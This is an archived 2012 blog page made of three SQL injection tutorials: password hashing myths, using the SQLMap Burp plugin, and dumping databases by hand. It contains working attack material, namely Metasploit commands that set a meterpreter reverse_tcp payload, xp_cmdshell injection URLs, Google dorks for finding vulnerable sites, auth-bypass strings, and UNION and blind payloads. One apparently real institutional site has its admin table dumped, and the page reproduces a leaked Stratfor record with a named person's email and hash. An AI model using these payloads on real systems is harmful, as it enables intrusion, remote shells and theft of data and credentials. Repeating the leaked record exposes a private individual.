Saturday, December 8, 2012

Common Myths about SQLi, Busted


Before going ahead with the topic of SQL injection, let us first take a look into the construct of a web-based application.
Most websites have an inseparabe relationship with a database. To begin with, databases are used by these websites to store usernames and passwords, which allows the users of their websites to authenticate themselves and gain access to additional services each website is supposed to be providing.
Many websites along with usernames and passwords will also store credit card details, online content pertaining to their products, or online forums store the posts made by their authenticated users in the database.
A part of the information which is stored by these websites can be termed as sensitive such as username, passwords, credit card info to name a few. Hackers are always interested in this type of information and will devise ways to circumvent the defenses put up by the website to protect this data.
Certain industry standards have been specified pertaining to storage of sensitive data into a database. These industry standards speak about not storing passwords in plain text, rather usage of MD5 + Salt is highly recommended. For beginners, MD5 is a hash of the string which represents your password and Salt is a small string of random characters which is appended to the plain text, and the MD5 of the resultant string is then generated and stored in the database.
MD5 is not the actual plain text string, however a 32 character hexadecimal number which is unique to the plain text string.
The common misconception about MD5 hash is that it is safe to use on its own, however the answer is NO. MD5 for uncomplicated strings can be easily generated and its comparison, also known as collision, with the original MD5 will give away the original string. Hence the least any website owner can do to store the password is to use MD5 + Salt.
Sample code for generating MD5
1

<?php
$string = HelloWorld';$hash = md5($string);echo $hash;
?>
Sample Code for generating MD5 with Salt
1

<?php
$string = 'HelloWorld';$salt = 's+(_a*';$hash = md5($string.$salt);
?>
Knowing this fact about MD5+Salt, programmers designing the website should ensure that the users should be forced to use complicated and lengthy passwords. This act will go a long way in ensuring that in case of a breach, the hackers will find it difficult, if not impossible to find the collision.
Last year Stratfor was hacked and its database containing usernames and passwords were leaked onto Internet. One of the users found in this database was Paula Broadwell, and Mr. Robert David Graham (@ErrataRob) took the effort of finding the collision for the MD5 of Ms Broadwell’s password, stored in the Stratfor database. It took almost 17 hours to find the collision as the password used by Ms Broadwell was a strong one by any standards. More information about this can be found here:
Record from Stratfor database hack:
"582458","paulabroadwell@yahoo.com","deb2f7d6542130f7a1e90cf5ec607ad1","paulabroadwell@yahoo.com","0","0","0",,,"1263896967","0","0","1","-18000",,,"paulabroadwell@yahoo.com","a:1:{s:7:\"contact\";i:0;}",NULL,"freelist:152402","0","0", 
@erratarob says: Had her password been one character longer, I wouldn’t have cracked it.
The password was 8 characters long and a combination of upper-case, lower-case and numbers was used. Considering the fact that, Oclhashcat-plus which was used to crack this password used GPU-based rule engine and took 17 hours to crack, for a 9 character password, it will take even much longer time.
Some may suggest the use of rainbow tables, which contains pre-computed hashes and is used for faster password cracking. However, the fact remains that it requires immense storage space for storing the pre-computed hashes. FreeRainbowtables.com and Project-RainbowCrack.com provide pre-generated rainbow-tables for download and these tables can be used with the existing password crackers.
ables, coupled with the fact that in case salt is also added then these rainbow tables are rendered useless. The only reason being a new set of rainbow tables needs to be generated for salted hashes.
Table IDCharsetPlaintext LengthSuccess RateTable Size
md5_ascii-32-95#1-7ascii-32-951 to 799.9 %64 GB
md5_ascii-32-95#1-8ascii-32-951 to 896.8 %576 GB
md5_mixalpha-numeric#1-8mixalpha-numeric1 to 899.9 %160 GB
md5_mixalpha-numeric#1-9mixalpha-numeric1 to 996.8 %864 GB
md5_loweralpha-numeric#1-9loweralpha-numeric1 to 999.9 %80 GB
md5_loweralpha-numeric#1-10loweralpha-numeric1 to 1096.8 %396 GB
Those who are interested in knowing more about rainbow tables, can visit these sites
Password crackers not only allow the usage of rainbow tables, but also make use of dictionaries, which makes password cracking easy for certain types of passwords.
Hence, not only the length of the password but also the complexity and the manner in which the hash is generated and the algorithm for generating the hash used, decides the time-factor involved in cracking a password.
Speaking about password cracking is always incomplete without reference to the various passwords leaked by hackers and the attempts to crack them.
Now that we know about the importance of storing safely the sensitive information into a database, let us now look into the art of SQL Injection.
Definition of SQLi from Wikipedia – http://en.wikipedia.org/wiki/SQL_injection
SQL injection is a technique often used to attack a website. This is done by including portions of SQL statements in a web form entry field in an attempt to get the website to pass a newly formed rogue SQL command to the database (e.g., dump the database contents to the attacker). SQL injection is a code injection technique that exploits a security vulnerability in a website’s software. The vulnerability happens when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL commands are thus injected from the web form into the database of an application (like queries) to change the database content or dump the database information like credit card or passwords to the attacker. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.
Since this is an attack vector, numerous tools are available for initiating SQLi attacks on a website, which Sqlmap, havij, sqlninja and the mole are few of them.
Most of the high profile hacks which we have witnessed in the past conducted by Anonymous were based on SQLi, wherein a vulnerability of the web-application was exploited to gain access to the entire database and the so-called sensitive data was no longer private.
Login forms can also be attacked and allow the hackers to gain access to the website without providing a legitimate username/password. All this is possible due to the sheer fact that the input variables were not sanitized, which in turn allows the hackers to provide their own SQL query and retrieve the results.
As is the common misconception, SQLi attacks are not just used to retrieve the contents of the database, however are also used to execute system commands on the server-side.
MS SQL server provides a stored procedure which allows the user to execute system level commands using the stored procedure xp_cmdshell.
MetaSploit also provides a nifty takeover module which uses xp_cmdshell to inject the payload and create a reverse shell on the server, giving the attacker full access to the server OS. One can learn more about this module over here. http://metasploit.com/modules/exploit/windows/mssql/mssql_payload_sqli
msf > use exploit/windows/mssql/mssql_payload_sqli msf exploit(mssql_payload_sqli) > show payloads msf exploit(mssql_payload_sqli) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(mssql_payload_sqli) > set LHOST [Local IP] msf exploit(mssql_payload_sqli) > set RHOST [Victim IP] msf exploit(mssql_payload_sqli) > exploit 
SQLNinja offers the attacker to recreate this stored procedure in case it has been disabled. However certain conditions have to be adhered to and have been outlined below:
SQLNinja : resurrectxp
This mode is to be used when the following conditions are both met:
  • Should have sysadmin privileges or should know the ‘sa’ password
  • xp_cmdshell has been disabled
Fast-Track is another open-source project based on python which uses Metasploit modules up to a large extent. SQL Pwnage, a module from Fast-Track, detects SQLi vulnerabilities, will scan and crawl URLs and subnets for SQLi vulnerable parameters. More details about Fast-track’s SQL Pwnage can be found here, http://www.offensive-security.com/metasploit-unleashed/SQL_Pwnage
After firing up Fast-Track, you will be presented with a menu and choose the options in the following order:
Fast-Track Main Menu: 
Step 1: 4. Microsoft SQL Tools
Step 2: 3. SQLPwnage
Step 3: 2. SQL Injection Search/Exploit by Binary Payload Injection (ERROR BASED)
Step 4: you can choose any of the listed options in case you have the vulnerable url then select option 1 or else scan the entire subnet using option 2.
Here is another example which uses xp_cmdshell : http://pastebin.com/F2tBvwXp
1) executing xp_cmdshell 
http://www.target.com/vuln.asp?param=1';IF object_id('result') IS NOT NULL DROP TABLE result; CREATE TABLE result (output varchar(200));INSERT INTO result EXEC xp_cmdshell 'dir C:'--
2) result retrieval through UNION injection
http://www.target.com/vuln.asp?param=-1' UNION ALL SELECT NULL, NULL, output FROM result--
So far we have seen SQLi attacks which were either used to retrieve data or to execute system commands on the server to gain un-lawful access. An excellent article on creating backdoors using SQLi attacks can be found here.
SQLi attacks when coupled with Stored XSS attack will have a more devastating effect, as the real world usage of this type of attack has more ramifications. Before we move ahead with this type of attack, what exactly is Stored XSS?
Definition of Cross Site Scripting (XSS ) from Wikipedia:
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. Due to breaches of browser security, XSS enables attackers to inject client-side script into Web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same origin policy. 
The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping. A classic example of this is with online message boards where users are allowed to post HTML formatted messages for other users to read.
One real world example which utilized and successfully implemented this type of attack was the infamous LizaMoon.
Websites which stored their online content into the database were targeted and an SQLi vulnerability was found. Using SQLi vulnerability, XSS code was inserted into the database. Due to which, upon the completion of the attack, every user who visited these websites ended up executing the code on their own system. This code which was retrieved from the database along with the valid html content. The objective of Lizamoon was to download and install a rogue software on the end-user’s system.
For more information about Lizamoon, Spider Labs has an excellent article on it over here.
However Driveby-downloads are the worst offenders and the most common method employed by hackers to launch drive-by-download is by way of an SQLi attack. SQLi vulnerable sites, especially those using MS-SQL, are at risk.
One may ask a question, how is it that target sites are found? It must be very difficult for hackers to visit each and every website, find the vulnerability and then exploit it. This is yet another common misconception.
A website when published on the web, will have all its features spidered by the search-engine bots. This is done to ensure that other users are able to find the content which is being provided by the website. The amount of searchable information ranges from URLs to identity of web-application platforms being used, shopping cart developer, forum application being used, etc.
The hackers use predefined searches, known as dorks, using any of the search-engines to find their targets, after that it is an easy task.
As an example, take a look at this link, it talks about an SQLi on Joomla.
http://1337day.com/exploits/19515 by D35M0ND142 and a very easy to use google dork has also been provided: “inurl:option=com_huruhelpdesk”. To identify the vulnerable sites and to extract the user name and passwords a perl script has also been provided.
A few of the SQLi dorks have been listed below:
inurl:newsDetail.php?id= 
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
Links for various dorks:
http://pastebin.com/Xzcj9CF1
http://pastebin.com/Cy2yEKk4
http://www.best4hack.com/p/sqli-dorks.html
There are numerous websites like exploit-db.com which provide details about vulnerabilities and how to exploit them. It is the responsibility of the vulnerability-hunter to responsibly notify the affected vendors and upon their confirmation of the patch release, the vulnerability is released to general public.
However, not everyone follows the theory of “responsible disclosure”, nor do all the vendors/developers take these vulnerabilities seriously.
Vupen for one surely made a name for itself in finding vulnerabilities in applications and operating systems and selling it for a price to their clients. However, Google, Facebook and numerous other organizations on the other hand, pay a bounty to these hunters for finding flaws in their websites or applications.
As far as hackers are concerned, anything and everything that gives them illegal access is acceptable.
A small list of Reward Programs by various organizations:
And this list will surely encourage you to find vulnerabilities in the web applications:
References:
SQLi vulnerability
Driveby Download + SQli

SQL Injection Through SQLMap Burp Plugin


What is SQLI?

SQL Injection is a web based attack used by the hackers to steal the sensitive information from the organizations through web applications. It is one of the most common application layer attack used today. This is a kind of an attack that takes an advantage of improper coding of the web applications that allow the hackers to exploit the vulnerability by injecting SQL commands into the prior web application.
Underneath fact for the SQL Injection is because of the fields available for the user input in the web application allows SQL statements to pass through and interacts or queries the database directly.
For Example, Let us consider a web application that implements forms-based login mechanism to store the user credentials and perform a simple sql query to validate each login attempt. Here is a typical example.
select * from users where username=’admin’ and password=’admin123′;
If the attacker knows the username of the application administrator is admin, he can login as admin without supplying any password.
admin’–
The query in the back-end looks like
Select * from users where username=’admin’–’ and password=’xxx’;
Note the comment sequence (–) causes the followed query to be ignored, so query executed is equivalent to:
Select * from users where username=’admin’;
So password check is bypassed.

What is SQLMAP?

SQLMAP is an open source penetration testing tool that helps in automating the process of detecting and exploiting SQL injection vulnerabilities and taking full access over the database servers. SQLMAP comes with powerful detecting engine, and many niche features for the penetration tester and wide range of switches lasting from database fingerprinting, data fetching from the database, accessing the underlying file system and executing the commands on Operating System via Out-of-band Connections.
Since SQLMAP is developed in python it is a portable application, meaning that it will work in any operating system that supports python.

What is SQLMAP burp plug-in?

When we audit a web application, we normally configure an intermediate proxy to have more control over the request and response parameters.
SQLMAP plug-in is an add-on feature that we can configure to the burp through which we can redirect a URL or a request directly to the SQLMAP with a single mouse click

How to download the plug-in:

You can download the zip file from the following URL:
http://code.google.com/p/gason/downloads/list
Unzip the file and keep it in the same folder where burp proxy is located.
Then execute the following command to run the burp with plug-in

LINUX:

Java –classpath burpplugins.jar:”burpsuite_v1.4.0.1.jar” burp.StartBurp

Windows:

Java –classpath burpsuite_v1.4.0.1.jar;burpplugins.jar burp.StartBurp
Replace the burpsutie with the appropriate version that you are using. In my case I am using burpsuite_v1.4.0.1.jar
You need to download the SQLMAP as you need to give the executable to the plug-in

Setting up SQLMAP:

On Windows:

On Debian or Ubuntu

Setting up the environment:

  • If you are using OWASP broken web application, then simply access one of the vulnerable site from your local browser where you are running SQLMAP
  • If you don’t use OWASP broken web application, then you need to set up a virtual machine that has a web server to host the vulnerable web application.
  • Configure another VM with ubuntu where the attacker runs SQLMAP

Configuring the Proxy:

  • If you are using Mozilla Firefox, then go to Edit > Preferences > Advanced > Network > settings and select “Manual Proxy Configuration” by enabling the radio button. Run the HTTP proxy with local-host and the port in which the proxy is running
  • If you are using Chrome, then go-to settings > Show Advanced Options > Network > Change proxy Settings > Connections > Lan settings.

How to use the plug-in:

Once you load the plug-in, then it is very easy to make use of it. Run the burp proxy with loaded plug-in. In the “site map” tab under the “target” you can see the particular domain that you are trying to test for SQLI and all the crawled pages related to the domain.
On the right side click on the URL that you want to test, you can see the request parameters of the URL in the bottom panel. Right click on the request parameters and you can see the option “Send to sqlmap” as shown in the figure (I).
Figure (i)
Then you can see a new window (SQLMap wrapper) that will allow you to configure sqlmap. Below Image gives you a clear view of the wrapper. Let’s observe figure (ii),
Figure (II)
Now let us have an over view of configuration features of the wrapper. In the “Target” textbox specify the URL that you are willing to test. (Normally it will be filled by default as you have sent the request parameters previously, if needed you can change the URL).
Specify the method on which the domain is accessible (GET/POST). In the “Bin-path” give sqlmap executable.
If you are aware of the DBMS of the web application, specify the database by selecting one of the options listed in the dropdown list. By default “auto” is selected which means that the SQLMAP wrapper tries with all the databases listed in the dropdown list to find out the database used by the application.
You can enumerate the database users, passwords, roles, privileges, databases etc by selecting the appropriate option from the Action dropdown list. By default it is set to “auto” which means it will try to enumerate all the options listed in the dropdown list in the sequential order.
If you are aware of the databases, users, tables, or columns, you can enumerate it by simply specifying it in the Database options.
Tampers are a kind of special characters or symbols that you are willing to insert into the query while pen-testing the application.
Once we configure the SQLMAP click on the “RUN”, this will open a new tab with execution of the program with the configuration that you have given to the wrapper or the SQLMAP. We can make any number of simultaneous execution tabs with difference instances.
Below image shows the output tab. Let’s observe figure (III),
Figure (III)
Bored with theory, now let us see an example, the below URL is a vulnerable site for practicing the SQLI. You can also find the SQLI practice URL’s by goggling.
http://192.168.2.3/news-and-events.php?id=22
Id parameter in the above URL is vulnerable to SQLI; let us find it out through our SQLMAP wrapper (Burp suite plug-in).
Open the URL in the browser for which the proxy has been configured. In the proxy (burp) go to the “site map” and click on the URL and send it to the sqlmap by right clicking on the response parameters of the website, as I mentioned previously. Figure (IV) shows you the wrapper opened for the above mentioned URL.
Figure (IV)
The target specifies the URL we are testing, cookie specifies the cookie or session id. Wrapper automatically identifies the positions in the URL where SQLI can be injected and specifies list of the parameters in “Parameters to test” text area (in our case we have only one possibility for injection which is “id” parameter).
In this example I have configured the SQLMAP wrapper to enumerate the list of databases that are configured in the backend database.
Figure (V)
Figure (V) shows you the output tab which intend displays you how the plug-in tried to exploit the SQLI vulnerability in different ways
We can see that initially the wrapper tried to exploit the vulnerability by using “Boolean-based blind SQLI” by using AND operator. The payload shows how the tool tried to exploit the vulnerability. Here we can see the payload: id=22 AND 4626=4626, which is equivalent to the following URL:
http://www.eastodissa.ac.IN/news-and-events.php?id=22 AND 4626=4626
As the URL is always true, the above URL returns the same page as of the original URL.
In the second trail it tried “error-based SQLI”. Later by using UNION operator
Figure (VI)
From the figure (VI) we can observe more server details like web server, Operating System, back-end DBMS.
” Information_schema” and “nilakantatrust” are the two databases that are used by the web application.
Now let us try to enumerate all the tables and the columns of the tables from the above databases. To do so configure the SQLMAP wrapper Action field with the option “Enumerate database tables and columns”. Figure (VII) shows you the same.
Figure (VII)
Figure (VIII) shows us the tables of the database “nilakantatrust”
Figure (VIII)
Let us see the columns of these tables. Figure (IX) shows the columns and their data types of two tables “est_notice” and “est_news” of nilakantatrust database.
Figure (IX)
We can also dump complete database by selecting the option “dump dbms databases”. And also store complete data into a file by using the option “save to file” in the output tab.
Figure (X)
Figure (X) shows the dumped data of the table “est_admin” from “nilakantatrust” database and storing it into a file.

Conclusion:

SQLMAP is a powerful tool which is used to automate the process of detecting and exploiting the SQLI.

DUMPING A COMPLETE DATABASE USING SQL INJECTION

What is SQL Injection?

SQL Injection is a web based attack used by hackers to steal sensitive information from organizations through web applications. It is one of the most common application layer attacks used today. This attack takes advantage of improper coding of web applications, which allows hackers to exploit the vulnerability by injecting SQL commands into the prior web application.
The underlying fact that allows for SQL Injection is that the fields available for user input in the web application allow SQL statements to pass through and interact with or query the database directly.
For example, let us consider a web application that implements a form-based login mechanism to store the user credentials and performs a simple SQL query to validate each login attempt. Here is a typical example:
select * from users where username=’admin’ and password=’admin123′;
If the attacker knows the username of the application administrator is admin, he can login as admin without supplying any password.
admin’–
The query in the back-end looks like:
Select * from users where username=’admin’–’ and password=’xxx’;
Note the comment sequence (–) causes the followed query to be ignored, so query executed is equivalent to:
Select * from users where username=’admin’;
So password check is bypassed.

Different types of SQL Injections

There are 3 different kinds of SQL Injections possible on web applications. They are:
  • In-band
  • Out-band
  • Inferior

In-band:

This is also called Error-based or Union based SQL Injection or first order Injection. The application is said to be vulnerable to In-band when the communication between the attacker and the application happens through a single channel. I.e. the attacker uses the same channel to enter the malicious string and to retrieve the data from the database. This is a straight forward technique. The application directly displays the retrieved data on the web pages.

Confirming the Vulnerability:

Consider an example:
The above URL is an In-band SQLI vulnerable practice site. We can get these practice sites from Google.
By accessing the URL, the browser displays the home page as shown in figure (a):

Figure (a)
Now let us try to confirm the vulnerability by simply adding a single quote at the end of the URL:
The above URL shows an error on the web page, saying “Error in your SQL Syntax”. This is because of an extra single quote (‘) that we have entered through the URL into the query in the background. So by seeing the error we can understand that the URL is vulnerable to In-band SQLI. Figure (b) shows you the error occurred due to concatenating the special character (‘).

Figure (b)
If single quote (‘) is blocked, then we can try using “or 1=1 –” or “and 1=1″ at the end of the URL :
Or
The above URL shows the same page that has been displayed while accessing the URL: http://192.168.2.3/news-and-events.php?id=22 . This is because the condition that we have entered at the end of the URL is always true.
Now try to access by entering the string “or 1=0–”or “and 1=0–”. So the URL looks like: http://192.168.2.3/news-and-events.php?id=22 or 1=0–
Or
Now we will not be able to access the page, because the condition “1=0″ is always false. Figure (c) shows the page when accessed with the false condition.

Figure (c)
Then we can confirm that the URL is vulnerable to SQLI.
The string listed in the below table can be used to confirm SQL Injection:
or 1=1
‘or 1=1
“or 1=1
or 1=1–
‘or 1=1–
“or 1=1–
or 1=1#
‘or 1=1#
“or
1=1#
or 1=1/*
‘or 1=1/*
“or 1=1/*
or 1=1;
‘or 1=1;
“or 1=1;
‘or’
‘or
‘or’–
‘or–
or a=a
‘or a=a
“or a=a
or a=a–
‘or a=a –
“or a=a–
or ‘a’='a’
‘or ‘a’='a’
“or ‘a’='a’
‘)or(‘a’='a’
“)”a”=”a”
‘)’a'=’a
‘or”=’



You can try all the combinations for string “or a=a” that we have tried for “or 1=1″….. Like #,–, /* etc…

Extracting-Information:

Moving further, we can extract or dump the complete database by using “UNION” and “SELECT” commands.

Finding-the-DBMS:

We can find out DBMS type (MS-SQL, MYSQL, ORACLE) by using the unique functions of the appropriate database. For example to find out the database user, all the above databases have different syntax.
MS-SQL: user_name()
MYSQL: user ()
ORACLE: select user from dual;
So let us try to find the DBMS of our SQLI vulnerable site. As a first trial I am entering “user_name()” at the place where we had “2″.
http://192.168.2.3/news-and-events.php?id=-22 union select 1,user_name(),3,4,5,6,7
The above URL gives an error saying “Function user_name doesn’t exist”. Which means the DBMS isn’t MS-SQL.

Figure (d)
Figure (d) shows that the DBMS isn’t MS-SQL
Now let’s try with “user ()”
http://192.168.2.3/news-and-events.php?id=-22 union select 1,user(),3,4,5,6,7
The above URL display the user name of the DBMS. So we confirm that the DBMS is MYSQL.

Figure (e)
Figure (e) shows the database user name which proves that the DBMS is MYSQL.
So we can use all the MYSQL functions in the place of 2,3,5,7 and dump the database on the web page.

Finding-number-of-columns:

Let us try to find out the number of columns in the table using UNION. The URL looks like:
An error displays in the page saying, “Select statement having different number of columns”. Now we understand that there are more than one column in the table.
Figure (f)
Figure (f) shows the error message occurred by accessing the web site using the above URL. (Using select NULL).
So try adding one more NULL:
If we are still receiving the same error, then we keep on adding the NULL to the query and try to find out the number of columns in the table.
http://192.168.2.3/news-and-events.php?id=22 union select NULL, NULL, NULL, NULL, NULL, NULL, NULL.
The above string gives you the same page as the initial URL, as the number of columns in the table is seven.
Figure (g)
Figure (g) shows the page when accessed with above URL. (Using seven NULL’S).
We can also use “ORDER BY” for finding out the number of columns in table.
So we can understand that there are seven columns in the table.
Now here is the trick. Where will we be able to see the extracted data from the database?
Just add a negative sign before the ID value. Then the data appears on the web page straight away.
(Note: Negative sign (-) before 22)
Then the application displays some of the numbers on the web page. The above URL displays 2,3,5,7 on the web page.
Figure (h)
Figure (h) shows the numbers displayed on the web page.

Finding the version and getting the databases:

http://192.168.2.3/news-and-events.php?id=-22 union select 1,@@version,database(),4,5,6,7
Figure (i)
Figure (i) display the database version “5.0″ and the database “nilakantatrust”.

Extracting Tables from the database:

Now let us try extracting all the tables from the database “nilakantatrust”.
http://192.168.2.3/news-and-events.php?id=-22 union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database()—
Figure (j)
Figure (j) shows all the tables dumped from the database “nilakantatrust”.
Information_schema is the table which contains meta-data, nothing but information about all the tables and columns of the database.

Extracting columns from the tables:

http://192.168.2.3/news-and-events.php?id=-22 union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schema=database()–
Figure (k)
Figure (k) displays all the columns of the tables in the database “nilakantatrust”. We can look at all the columns and then dump the interesting columns like passwords, SSN, credit card numbers, etc.

Out Band:

This kind of an attack uses two different channels for communication between attacker and the application. Modern DBMS has very powerful applications, and their features go behind simply returning the data to the users. They can be instructed to send an e-mail and they can also interact with the file system. All of these functionalities are very helpful for an attacker. The attacker establishes a direct connection to the database through one channel to insert the data or the malicious string into the database. DBMS responds through a new channel, like e-mail, or executing the commands using xp_cmdshell etc….

Inferred:

This is also known as Blind – SQL – Injection. Here the server doesn’t respond with any syntax error or other means of notification. This is very similar to normal SQL Injection, but when attacked, the server doesn’t send any data to the attacker. The attacker needs to retrieve the data by asking true or false questions through SQL commands.
The attacker needs to execute his commands by observing the response of the application. This makes exploiting a SQL Injection attack more difficult but not impossible.

Now let’s have some practice:

The above URL gives the same data as the original site.
Above URL shows an error on the web page, as I explained to you previously (in “in-band” type).
Finding

-the-DBMS:

To find out the DBMS used by the application we need to make use of different pre-defined functions available for different databases.
For example:
To find out the user name of the database, the following syntax is used by different DBMS:
  • MS-SQL: user_name()
  • Mysql: user()
  • Oracle: select user from dual
You can know the difference from the cheat-sheet available at www.pentestmonkey.net
So, let us find out the DBMS using the above functions ;)
Accessing the URL: http://192.168.2.3/news-and-events.php?id=21 gives you a white page:
Figure (l)
Observe the white page in Figure (l), which is different from the URL: http://192.168.2.3/news-and-events.php?id=22 as we have seen the page previously. By observing this difference we can extract the DBMS type of the application.
Let us check whether the application is using MS-SQL:
In the above URL I am trying to add 1 to the ID ’21′ based on the condition. When we access the URL with ID=21 we get the page as shown in Figure (m) and when we access URL with ID=22 we get the home page as shown in Figure (a).
In the URL %2b indicates ‘+’ and %20 indicates ‘ ‘ (space). It is called URL encoding. When a particular symbol is filtered we can pass those symbols by encoding using different encoding techniques available.
And the condition in the query is framed using “case” statement along with “user_name” (A pre-defined function in MS-SQL to return DB user name). If the function user_name() is found then the condition returns ’1′ which makes the ID=22, else it returns ’0′ and the ID remains ’21′.
Figure (m)
Figure (m) shows blank page which confirms that the DBMS isn’t MS-SQL. So now, let us check for “MYSQL”.
The above URL shows the page with ID=22, which confirms that the DBMS is MYSQL.

Finding the version:

To find the database version we can use ‘substring’ function in MYSQL. Observe the below URL:
If the database version is ’5′ then the substring function returns ’5′ (as we are trying to extract only one character), where we are comparing the resultant value with ’5′. Then if we are able to see the home page, we can confirm that the database is something like 5.x.x version.
If the URL doesn’t pop up the home page, then we can try changing the comparing value to 4,3 etc…
To find the exact version of the database we need to compare the second character of the version. For example:
substr(@@version,2,1)=0
substr(@@version,3,1)=1
So, by observing the responses of the application we can extract a complete version of the database.

Finding the User Name of the database:

We can find out the user name of the database by using both ‘case’ statement and ‘substring’ function.
Based on the responses of the application, keep on changing the character in the function substr().
Once we get the first letter of the user name, then move on to find out the second letter.
For example:
substr(user(),2,1)=’r’
substr(user(),3,1)=’b’ ….
In this fashion, to find out a single character in the user name, we have to send more than 200 requests with all possible ASCII characters to the server. This technique can be optimized we can extract a single character from the database with in 8 requests.

Conclusion:

SQL Injection is a technique which is used to dump a complete database of the application by including few portions of SQL statements in the entry field or the URL.

References: